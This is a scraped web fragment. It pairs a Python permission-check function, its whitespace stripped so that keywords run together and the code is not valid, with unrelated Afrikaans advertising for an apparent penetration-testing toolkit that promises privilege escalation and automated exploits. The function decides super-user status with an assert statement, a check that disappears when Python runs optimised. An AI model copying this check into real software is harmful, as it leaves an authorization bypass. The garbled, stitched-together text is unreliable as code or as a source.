defcheck_permission(super_user):try:assert(super_user)print("\nYou are a super user\n")exceptAssertionError:print(f"\nNot a Super User!!!\n")
Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak. Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.